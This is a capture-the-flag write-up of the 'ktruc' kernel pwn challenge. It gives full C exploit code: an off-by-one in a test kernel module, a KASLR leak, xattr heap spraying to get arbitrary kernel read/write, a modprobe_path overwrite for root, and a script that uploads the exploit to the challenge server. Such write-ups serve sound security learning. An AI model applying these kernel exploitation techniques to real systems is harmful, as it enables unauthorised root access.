ktruc

- Category : `pwn`
- Points : `500` => `485`
- Difficulty : ⭐ ⭐⭐
- Solves : `7`
- Author : `XeR`

Description

> - J'ai une idée ! Un programme où on peut créer, lire et modifier des notes.
> - C'est naze.
> - Okay, okay... et si c'est sous la forme d'un module kernel ?
> - C'est toujours naze.
> - En fait, c'est pas des notes. C'est des... trucs.

Attachments

- `pwnme.c` : Kernel module source
- `pwnme.ko` : Kernel module binary
- `kinetic-server-cloudimg-amd64-vmlinuz-generic` : Kernel image `Ubuntu 5.19.0-35.36-generic`
- `initrd` : Init ramdisk (composed of 2 CPIO archive)
- `run.sh` : runs qemu with the provided image / initrd
- `Makefile` : Makefile used to compile the kernel module
- `proof-of-work.py` : template script to solve PoW
- `Dockerfile` `docker-compose.yml` : Remote docker environment

📖 Introduction

`ktruc` was a challenge featuring a vulnerable kernel module, which we could abuse to gain root privileges on the virtual machine, which is using a recent kernel (5.19).

TL;DR

- Off by one vulnerability within kernel SLUB
- KASLR leak using tty-related objects inside `kmalloc-512`
- AAR / AAW primitives by spraying controlled `xattr` kernel objects

- Overwrite `modprobe_path` to gain code execution

🌳 The environment

A `run.sh` script is provided to us, to launch the virtual machine :

```
#!/bin/sh
readonly LINUX=kinetic-server-cloudimg-amd64

exec timeout -k 301 300 qemu-system-x86_64                  \
    -cpu qemu64,+smep,+smap                                 \
    -m 512                                                  \
    -kernel $LINUX-vmlinuz-generic                          \
    -initrd initrd                                          \
    -serial stdio                                           \
    -append 'console=ttyS0 boot=ctf quiet=y'                \
    -nographic                                              \
    -monitor none                                           \
    -drive file=flag.txt,if=virtio,format=raw,readonly=true \
    "$@"
```

From this script, we can learn a few useful things :

- `SMEP` is activated, which prevent us to run userland code from ring 0
- `SMAP` is activated, which prevent us to access userland pages from ring 0
- `KASLR` is activated, which randomize the kernel base address at startup
- The flag is accessible through a virtual drive `/dev/vda`

🔬 Analyzing the kernel module

The module is really simple, and is composed of classic `read` / `write` / `ioctl` handlers :

```
static int __init ctor(void)
{
    static const struct proc_ops ops = {
        .proc_read  = mod_read,
        .proc_write = mod_write,
        .proc_ioctl = mod_ioctl,
    };

    entry = proc_create(PROC_NAME, 0, NULL, &ops);
```

```
    if(!entry)
        return -ENOMEM;

    return 0;
}
```

Let's first focus on the IOCTL handler :

```
static long mod_ioctl(struct file *file, unsigned int arg, unsigned long ptr)
{
    switch(arg) {
        case IOCTL_CREATE:
            return ioctl_create((struct args_create*)ptr);

        case IOCTL_SWITCH:
            return ioctl_switch((struct args_switch*)ptr);

        default:
            return -ENOSYS;
    }
}
```

Only two IOCTL commands are available : `IOCTL_CREATE` and `IOCTL_SWITCH`.

The `ioctl_create` command allows us to add a new object to the bank :

```
struct fatptr {
    void *data;
    size_t size;
};

struct args_create { size_t size; };

static struct fatptr *banks = NULL;
static size_t count = 0;

// ...

static long ioctl_create(const struct args_create __user *ptr)
{
    struct args_create args;
    void *data;

    if(copy_from_user(&args, ptr, sizeof(args)))
        return -EFAULT;

    // Allocate a new buffer
    data = kmalloc(args.size, GFP_KERNEL);
```

```
    if(NULL == data)
        return -ENOMEM;

    // Push the new object
    mutex_lock(&lock);
    banks = krealloc(banks, sizeof(*banks) * (count + 1), GFP_KERNEL);
    banks[count] = (struct fatptr){
        .data = data,
        .size = args.size,
    };
    mutex_unlock(&lock);

    return count++;
}
```

Note that we control the object length through the IOCTL parameter.

The `bank` is a simple array stored on the kernel heap, and extended via `krealloc` when a new object is inserted.

`krealloc` works kind of like the `realloc` glibc version : if the new size is greater than the actual chunk size, the old chunk is copied to a new bigger one and the older is freed. If the pointer is null, then it works like a classic `kmalloc`.

An object is composed of two fields : `data` which is a pointer to the allocated data (allocated using `kmalloc`), and `size` which is the size provided in argument.

The `ioctl_switch` command function simply changes the `index` global value to an index provided in arguments :

```
struct args_switch { long index;  };

static long index = 0;

static long ioctl_switch(const struct args_switch __user *ptr)
{
    struct args_switch args;

    if(copy_from_user(&args, ptr, sizeof(args)))
        return -EFAULT;

    if(args.index > count)
        return -EINVAL;

    index = args.index;
    return index;
}
```

A check is made, such as the provided index can't exceeds the number of the objects count inside the bank.

Let's move on the `read` and `write` handlers :

The `mod_read` handler allows us to read the data located inside the selected object, to an userland buffer, I will later detail the use of `getData` function.

```
static ssize_t
mod_read(struct file *file, char __user *out, size_t size, loff_t *off)
{
    void *data;
    size_t len;

    int r = getData(&data, &len, *off, size);
    if(0 != r)
        return r;

    if(copy_to_user(out, data, len))
        return -EFAULT;

    return len;
}
```

Same thing for the `mod_write` handler, this allows us to write data from an userland buffer to the selected object data.

```
static ssize_t
mod_write(struct file *file, const char __user *out, size_t size, loff_t *off)
{
    void *data;
    size_t len;

    int r = getData(&data, &len, *off, size);
    if(0 != r)
        return r;

    if(copy_from_user(data, out, len))
        return -EFAULT;

    return len;
}
```

The `getData` is a little bit more interesting :

```
static int getData(void **data, size_t *length, off_t offset, size_t size)
{
```

```
    void *d;
    size_t s;

    // You must create an object first
    if(0 == count)
        return -ENXIO;

    // This can only happen during init (when count == 0)
    BUG_ON(index > count);

    // banks might be reallocated somewhere else, lock the mutex
    mutex_lock(&lock);
    d = banks[index].data;
    s = banks[index].size;
    mutex_unlock(&lock);

    *length = offset + size < s ? size : s - offset;
    *data   = d + offset;

    return 0;
}
```

Its goal is to determine the address of the data, and the length to `read` / `write`, depending on the supplied offset.

We can note that several checks are made :

- `BUG_ON(index > count)` : Here to check whether the index has be corrupted in any ways
- `mutex_lock(&lock)` / `mutex_unlock(&lock)` : To prevent race conditions, as `bank` and `index` are global objects, that can be concurrently accessed.

The `length` is also bounded to the object size (`s - offset`).

To summarize, here are the different actions that we can do to interact with the kernel module :

- `IOCTL`
  - `CREATE` : Allocate an object
  - `SWITCH` : Select an object
- `read`
  - Read selected object data into an userland buffer
- `write`
  - Write userland buffer into the selected object's data

🏹 Hunting for vulnerabilities

At first glance, the kernel module seems quite safe, `mutexes` are used to prevent race conditions, and checks are made on lengths.

So what could go wrong ?

Let's go back inside the `ioctl_switch` function, and let's take an example :

```
static long ioctl_switch(const struct args_switch __user *ptr)
{
    struct args_switch args;

    if(copy_from_user(&args, ptr, sizeof(args)))
        return -EFAULT;

    if(args.index > count)
        return -EINVAL;

    index = args.index;
    return index;
}
```

Let's say the bank has already 8 items inside (`count` = 8).

What if the index provided as argument is also = 8 ?

- `args.index > count`
- `8 > 8` => No !

This means that we can select an out-of-bounds object by supplying an index which is equal to the current count of objects inside the bank.

The following lines inside `getData` could hint us 😄

```
// This can only happen during init (when count == 0)
BUG_ON(index > count);
```

Indeed, even if there are no objects inside the bank, we can still access the first element.

The correct check would be :

```
if(args.index >= count)
    return -EINVAL;
```

However, we need to carefully craft our `bank` table to make this vulnerability exploitable,

We must allocate a sufficient numbers of objects such as the last allocated object is placed at the very end of the current chunk. In this way, we can exploit the off by one vulnerability, and the selected object will be outside the chunk, collapsing with another kernel object.

📦 Searching for convenient kernel objects

Now a new problem arises : how can we control the object that will be located after our bank chunk ?

In fact, the kernel heap is shared among all processes on the system, and calls to different kernel functions (such as `open`) can lead to allocations within the kernel heap. So if we call some kernel functions from our userland process that allocates objects on the heap, we can potentially control the next kernel object just after our `bank` array.

Let's now describe briefly the magic behind `kmalloc`.

The Linux kernel uses a `SLAB` allocator algorithm to manage dynamic allocations, it mainly aims to be faster. Different SLAB implementations are present on the Linux kernel for different usages (`SLAB`, `SLOB`, `SLUB`). Here the virtual machine is using the `SLUB` allocator.

Allocations are stored within `caches`, which are commonly called `kmalloc` caches.

There are caches for different allocation sizes, for example :

- `kmalloc-32` will store chunks of a size from 32 to 63
- `kmalloc-64` will store chunks of a size from 64 to 127
- and so on ...

Another thing to note is that, depending of the `kmalloc` / `kzalloc` flags, chunks will end up in different chunks

- `GFP_KERNEL` inside classic `kmalloc` caches
- `GFP_KERNEL_ACCOUNT` inside `kmalloc-cg` caches

Our goal is now to find a convenient kernel object that matches our `fatptr` structure (its first 2 fields must look like `pointer`, `size`)

```
struct fatptr {
    void *data;
    size_t size;
};
```

There are a bunch of known kernel objects that can be used to gain leaks / solid primitives if we manage to corrupt them, here is an excellent blog post by ptr-yudai that references some of them with there usages.

Unfortunately for us, since version `5.15` of the Linux kernel, some of these objects are allocated within the `kmalloc-cg-x` cache and not inside `kmalloc-x` caches, as our `bank` object.

By a mix of kernel source reading and experimentation, I found two interesting objects that can help us during the exploitation of the vulnerability :

- An object allocated after the opening of `/dev/ptmx`, and freed by closing the associated file descriptor within the `kmalloc-512` cache.
  - I didn't have enough time to investigate and to name this object.
  - In practice, the first 2 qwords are very similar to the `fatptr` structure, here is an example inside GDB:
  - `0xffff8ebb8915c400: 0xffff8ebb8915c450  0x0000000ffffffe0`
  - The first field is: `0xffff8ebb8915c450` which is pointing further inside the chunk
  - The second field is : `0x0000000ffffffe0`, which could be used as a valid size.
- Another "elastic" object `xattr`, which can be allocated by calling `setxattr` function, and freed using the `removexattr` function
  - This object has a user-provided size, which is really useful, this means we allocate into a chosen `kmalloc-x` cache

💦 Leaking KASLR

Now that we've found great objects to use in our exploit, we can try go get a KASLR leak.

For this, we just need to have the object's first field pointing to a valid kernel address, that contains some kernel data (globals, function pointers, ...).

We can then after subtract the constant offset to get the kernel base address.

For this, we will use the previously mentioned object, that is allocated by triggering an `open` on `/dev/ptmx`, and which lies in `kmalloc-512`.

Using GDB, we can display its content :

```
0xffff8ebb8915c400: 0xffff8ebb8915c450  0x0000000fffffffe0 <- First two fields
0xffff8ebb8915c410: 0xffff8ebb8915c410  0xffff8ebb8915c410
0xffff8ebb8915c420: 0xffffffff9aafe6a0  0x0000000000000000
0xffff8ebb8915c430: 0x0000000000000000  0xffff8ebb8915c438
0xffff8ebb8915c440: 0xffff8ebb8915c438  0x0000000000000000
0xffff8ebb8915c450: 0x0000000000000000  0x0000000000000000 <- First field points to
0xffff8ebb8915c450
0xffff8ebb8915c460: 0x0000000000000000  0x0000000000000000
0xffff8ebb8915c470: 0x0000000000000000  0x0000200000000000
0xffff8ebb8915c480: 0xffff8ebb8915c450  0x0000000000000000
0xffff8ebb8915c490: 0xffff8ebb82be6800  0x0000000000000000
0xffff8ebb8915c4a0: 0xffffffff9b6d3180  0x0000000000000000 <- 0xffff8ebb8915c4a0
contains a kernel function pointer
0xffff8ebb8915c4b0: 0x0000000000000000  0x0000000000000000
```

In order to leak KASLR, we can just :

- Adjust the heap such as the tty related object is located just after the `bank`
- Exploit the off-by-one vulnerability to select a `fatptr` object outside the `bank` bounds
- Read data from the current object
- Compute kernel base by subtracting associated offset

Here is the code just doing this :

```c
int main(int argc, char *argv[]) {
    int fds [0x400] = {};
    char buf[0x100] = {};

    int fd = open_device();
    if (fd < 0) {
        return -1;
    }

    // Adjusting the heap

    // Fill the holes inside kmalloc-512 cache
    for (int i = 0; i < 0x30; i++) {
        fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    }

    // Free the allocated structures in reverse order
    // in order to control the order of the subsequent allocations
    for (int i = 0x2f; i >= 0; i--) {
        close(fds[i]);
    }
```

```
    // Create 32 fatptr objects in order to fill the bank inside the kmalloc-512
cache
    for (int i = 0; i < ENTRIES_COUNT; i++) {
        create(fd, 0x400);
    }

    // Allocates again the tty-related structures in order to
    // place them just after the bank
    for (int i = 0; i < 0x30; i++) {
        fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    }

    // Exploit the off-by-one vulnerability inside the kmalloc-512 cache
    switch_channel(fd, ENTRIES_COUNT);

    // Now our current fatptr object points to the beginning of the
    // tty-related structuer

    // Reading from it
    size_t len = read_channel(fd, buf, 0x100, 0);

    // Getting leaks
    unsigned long heap_addr = *(unsigned long *)(buf + 0x30) - 0x50; // bank end
    unsigned long kernel_base = *(unsigned long *)(buf + 0x50) - 0x14d3180; //
tty_port_default_client_ops offset

    printf("heap_addr = 0x%lx\n", heap_addr);
    printf("kernel_base = 0x%lx\n", kernel_base);

    // ...
}
```

💣 Gaining AAW and AAR

Now that we know, we have to find a way to get more impactful primitives such as arbitrary read / write inside kernel space.

For this task, the previously used kernel object wasn't helping so much... I tried to play with offset (that we can provide through `pread` / `pwrite` system calls) to relatively control the pointer to read / write to, but the `size` was too small to reach actual kernel global objects.

What if we find a way to allocate chunks in chosen cache, using user-controlled data ?

We would control the first 2 fields, and get AAR / AAW ! 😈

The next available cache for the `bank` is the `kmalloc-1024` cache, with 512 additional `fatptr` creation, we can reach the end of the chunk within the `kmalloc-1024` cache.

Now we have to find a way to make holes (or `kfree`) inside the `kmalloc-1024` cache in order to have such heap layout :

```
[ BANK ] [ USER CONTROLLED CHUNK ]
```

Let's use elastic `xattr` objects !

Here is the plan :

- Allocate a bunch of `xattr` objects in order to fill the holes inside the `kmalloc-1024` cache
- Free them in reverse order using `removexattr`, to control subsequent allocations
- Allocate another 32 `fatptr` objects to fill the bank inside the `kmalloc-1024` cache
- Update their data with our fake `fatptr` structure to ensure the chunk allocated just after the `bank` will be ours
- Allocate a bunch of other `xattr` objects with our fake `fatptr` object.
- Exploit the off-by-one to select our crafted `fatptr` object
- Profit 🎉

Here is the C code doing this :

```c
struct fatptr *fake_obj = malloc(0x400);

fake_obj->data = 0xdeadbeefcafebabe;
fake_obj->size = 0xf00dbabe; // size

// Fill the holes inside kmalloc-512 caches
for (int i = 0; i < 0xc0; i++) {
    sprintf(buf, "attr%d", i);
    setxattr("/dev/null", buf, fake_obj, 0x400, 0);
}

// Free the allocated xattr in reverse order
// in order to control the order of the subsequent allocations
for (int i = 0xbf; i >= 0; i--) {
    sprintf(buf, "attr%d", i);
    removexattr("/dev/null", buf);
}

// Create 32 fatptr objects in order to fill the bank inside the kmalloc-1024 cache
for (int i = 0; i < 0x20; i++ ){
    create(fd, 0x400);
}

for (int i = 0; i < 0x80; i++) {
    sprintf(buf, "attr%d", i);
    setxattr("/dev/null", buf, fake_obj, 0x400, 0);
}
```

```
// Ensure controlled data will be reached by filling as well fatptr objects data
for (int i = 0; i < 0x20; i++) {
    switch_channel(fd, 0x20 + i);
    write_channel(fd, &fake_obj, sizeof (*fake_obj), 0);
}

// Exploit again the off-by-one vulnerability inside the kmalloc-1024 cache
switch_channel(fd, 0x40);
```

Now, the currently selected object might look like that :

```
data = 0xdeadbeefcafebabe
size = 0xf00dbabe
```

We can know read / write data of controlled length at any address ! 😄

🐚 Gaining root privileges

Once we've got AAR / AAW primitives, there is finally a little bit of work to transform it into code execution.

There exist plenty of methods to transform these primitives, but I think one of them is easier : the `modprobe_path` overwrite technique.

You can find a detailed explanation of this technique on this blog post.

The principle is to overwrite a global variable `modprobe_path` by a path which points to a controlled file of us.

Then, when a user tries to execute a file with unknown magic bytes, the program located at `modprobe_path` is executed with root privileges.

If we place a custom script which simply copy the flag from `/dev/vda`, we win ! 🎉

Let's just overwrite `modprobe_path` by `/tmp/x` :

```
struct fatptr * fake_obj = malloc(sizeof (*fake_obj));

fake_obj->data = (void *) kernel_base + 0x208b980; // modprobe_path
fake_obj->size = 0x10; // size

// ...
```

```
// Exploit again the off-by-one vulnerability inside the kmalloc-1024 cache
switch_channel(fd, 0x40);

char modprobe[0X40] = {};
read_channel(fd, modprobe, 0x40, 0);
printf("current modprobe_path = %s\n", modprobe);

write_channel(fd, "/tmp/x\x00", 7, 0);

get_flag();
```

The `get_flag` functions just simply sets up the `/tmp/x` binary, and tries to execute an executable with unknown magic bytes :

```
void get_flag(void){
    // Prepare the post exploit script
    system("echo '#!/bin/sh\ncp /dev/vda /tmp/flag\nchmod 666 /tmp/flag' > /tmp/x");
    system("chmod +x /tmp/x");

    // Prepare the invalid binary
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");

    // Trigger the modprobe execute by executing the invalid binray
    puts("[*] Run unknown file");
    system("/tmp/dummy");

    // Prints the flag
    system("cat /tmp/flag");

    exit(0);
}
```

🚀 Sending the exploit remotely

Once we finished writing our exploit, there is a little bit more work to exploiting the remote instance.

We only have access to a TCP socket to interact with a low-privileged shell on the machine.

We have to find a way to upload the binary to the remote machine using only provided `busybox` utilities.

One utility that caught my attention is the `base32` one. Which is similar to the well known `base64` one, but with base32.

We can feed a base32 file in `/tmp` chunk by chunk by appending parts of the exploit inside the file, and then decoding it to recover the exploit binary.

A second thing is that we should rely on statically compiled binary, as remotely, the required libraries might not be there. Additionally, the binary must not be to big, as the remote machine has a timeout.

I chose to use `musl-gcc` to compile my exploit statically, it helps to produce binaries with a much smaller size than `gcc`.

For example :

```
-rwxrwxr-x 1 voydstack voydstack 885K avril 24 23:55 exploit-gcc
-rwxrwxr-x 1 voydstack voydstack  50K avril 24 23:55 exploit-musl
```

Here is the script I used to send the binary and execute the exploit remotely :

```python
import re
import hashlib
from pwn import *

HOST = args.HOST or "challenges.france-cybersecurity-challenge.fr"
PORT = int(args.PORT or 2108)

# ...

if __name__ == "__main__":
    io = remote(HOST, PORT)

    # Proof-of-Work solver
    # ...

    log.info("Waiting for the VM to start...")

    with open("exploit", "rb") as f:
        exploit = f.read()

    import base64
    exploit = base64.b32encode(exploit).decode()

    progress = 0
    N = 0x300

    io.sendlineafter(b'$', b'cd /tmp')
    log.info("Sending exploit (total: {})...".format(hex(len(exploit))))
    prog = log.progress("Sending exploit")

    for s in [exploit[i: i+N] for i in range(0, len(exploit), N)]:
```

```
        io.sendlineafter(b'$', 'echo -n "{}" >> exp.b32'.format(s).encode()) # don't
forget -n
        progress += N
        if progress % N == 0:
            prog.status("Sent {} bytes [{} %]".format(hex(progress),
round(float(progress)*100.0 / float(len(exploit)), 2)))

    io.sendlineafter(b'$', b'base32 -d exp.b32 > exp')
    io.sendlineafter(b'$', b'chmod +x ./exp')
    io.sendlineafter(b'$', b'./exp')

    io.recvuntil(b'readable')
    print(io.recvuntil(b'}'))

    io.close()
```

Showcase of the exploit 😄 :

```
[+] Opening connection to challenges.france-cybersecurity-challenge.fr on port 2108:
Done
[*] Solving PoW with difficulty 23 and prefix HyOLDTtoodXItqdO
[*] Waiting for the VM to start...
[*] Sending exploit (total: 0x13e10)...
[■] Sending exploit: Sent 0x14100 bytes [100 %]
b'FCSC{f6173432ba45f29c4db15b4b43841e949291c26ffd761f786d7eb5300049c262}'
```

📝 Improvements

The exploit could be improved in many ways, I didn't have time to improve it, but here are some ideas :

- Increase the spray size to have better reliability
- The `mobprobe_path` technique is quick and dirty, but in more realistic cases, this may not be working.
    - Another possibility to gain code execution is to improve our AAW / AAR primitive to do it multiple times
    - Just overwrite the bank itself with controlled data via the AAW primitive.
    - In this way we control all the pointers inside the bank and can do multiple AAR / AAW
    - Traverse the current_task object to obtain the `cred` address
    - Overwrite the `cred` fields by 0 to make current process' uid = 0
    - Execute a shell, profit !

🏁 Conclusion

`ktruc` was a really cool challenge, which featured a simple bug but a more complicated exploitation on a recent Linux kernel. I learned a lot from it, thanks !